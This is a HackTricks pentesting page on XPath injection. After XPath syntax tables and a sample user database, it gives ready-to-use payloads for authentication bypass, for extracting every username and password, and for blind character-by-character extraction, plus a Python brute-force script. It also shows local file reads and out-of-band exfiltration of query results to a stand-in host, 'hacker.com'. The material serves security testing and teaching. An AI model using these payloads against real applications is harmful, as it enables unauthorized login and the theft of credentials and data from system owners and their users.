hacktricks/pentesting-web/xpath-injection.md

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XPath Injection is an attack technique used to exploit applications that construct XPath \(XML Path Language\) queries from user-supplied input to query or navigate XML documents.

Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp)

# **Basic Syntax**

## Nodes

| Expression | Description |
| :--- | :--- |
| nodename | Selects all nodes with the name "nodename" |
| / | Selects from the root node |
| // | Selects nodes in the document from the current node that match the selection no matter where they are |
| . | Selects the current node |
| .. | Selects the parent of the current node |
| @ | Selects attributes |

## **Examples:**

| Path Expression | Result |
| :--- | :--- |
| bookstore | Selects all nodes with the name "bookstore" |
| /bookstore | Selects the root element bookstore**Note:** If the path starts with a slash \( / \) it always represents an absolute path to an element! |
| bookstore/book | Selects all book elements that are children of bookstore |
| //book | Selects all book elements no matter where they are in the document |
| bookstore//book | Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element |
| //@lang | Selects all attributes that are named lang |

## Predicates

<table>
  <thead>
    <tr>
      <th style="text-align:left">Path Expression</th>
      <th style="text-align:left">Result</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align:left">/bookstore/book[1]</td>
      <td style="text-align:left">
        <p>Selects the first book element that is the child of the bookstore element.<b>Note:</b> In
          IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve
          this problem in IE, set the SelectionLanguage to XPath:</p>
        <p>In JavaScript: xml.setProperty(&quot;SelectionLanguage&quot;,&quot;XPath&quot;);</p>
      </td>
    </tr>
    <tr>
      <td style="text-align:left">/bookstore/book[last()]</td>
      <td style="text-align:left">Selects the last book element that is the child of the bookstore element</td>
    </tr>
    <tr>
      <td style="text-align:left">/bookstore/book[last()-1]</td>
      <td style="text-align:left">Selects the last but one book element that is the child of the bookstore
        element</td>
    </tr>
    <tr>
      <td style="text-align:left">/bookstore/book[position()&lt;3]</td>
      <td style="text-align:left">Selects the first two book elements that are children of the bookstore
        element</td>
    </tr>
    <tr>
      <td style="text-align:left">//title[@lang]</td>
      <td style="text-align:left">Selects all the title elements that have an attribute named lang</td>
    </tr>
    <tr>
      <td style="text-align:left">//title[@lang=&apos;en&apos;]</td>
      <td style="text-align:left">Selects all the title elements that have a &quot;lang&quot; attribute
        with a value of &quot;en&quot;</td>
    </tr>
    <tr>
      <td style="text-align:left">/bookstore/book[price&gt;35.00]</td>
      <td style="text-align:left">Selects all the book elements of the bookstore element that have a price
        element with a value greater than 35.00</td>
    </tr>
    <tr>
      <td style="text-align:left">/bookstore/book[price&gt;35.00]/title</td>
      <td style="text-align:left">Selects all the title elements of the book elements of the bookstore element
        that have a price element with a value greater than 35.00</td>
    </tr>
  </tbody>
</table>

## Unknown Nodes

| Wildcard | Description |
| :--- | :--- |
| \* | Matches any element node |
| @\* | Matches any attribute node |
| node\(\) | Matches any node of any kind |

## **Examples:**

| Path Expression | Result |
| :--- | :--- |
| /bookstore/\* | Selects all the child element nodes of the bookstore element |
| //\* | Selects all elements in the document |
| //title\[@\*\] | Selects all title elements which have at least one attribute of any kind |

# Example

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
    <name>pepe</name>
    <password>peponcio</password>
    <account>admin</account>
</user>
<user>
    <name>mark</name>
    <password>m12345</password>
    <account>regular</account>
</user>
<user>
    <name>fino</name>
    <password>fino2</password>
    <account>regular</account>
</user>
</data>
```

## Access the information

```text
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```

## Identify & stealing the schema

```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
    <a>
        <b></b>
    </a>
    <c>
        <d></d>
        <e></e>
        <f>
            <h></h>
        </f>
    </c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```

# Authentication Bypass

## **Example of queries:**

```text
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```

## **OR bypass in user and password \(same value in both\)**

```text
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field
```

## **Abusing null injection**

```text
Username: ' or 1]%00
```

## **Double OR in Username or in password** \(is valid with only 1 vulnerable field\)

IMPORTANT: Notice that the **"and" is the first operation made**.

```text
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```

# String extraction

The output contains strings and the user can manipulate the values to search:

```text
/user/username[contains(., '+VALUE+')]
```

```text
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```

# Blind Explotation

## **Get length of a value and extract it by comparisons:**

```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```

## **Python Example**

```python
import requests, string 

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30): 
    r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) 
    if ("TRUE_COND" in r.text): 
        l = i 
        break 
print("[+] Password length: " + str(l)) 
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) 
    for al in alphabet: 
        r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
        if ("TRUE_COND" in r.text): 
            flag += al
            print("[+] Flag: " + flag) 
            break
```

## Read file

```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```

# OOB Exploitation

```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```

## Automatic tool

{% embed url="https://xcat.readthedocs.io/" caption="" %}

# References

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection)



<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

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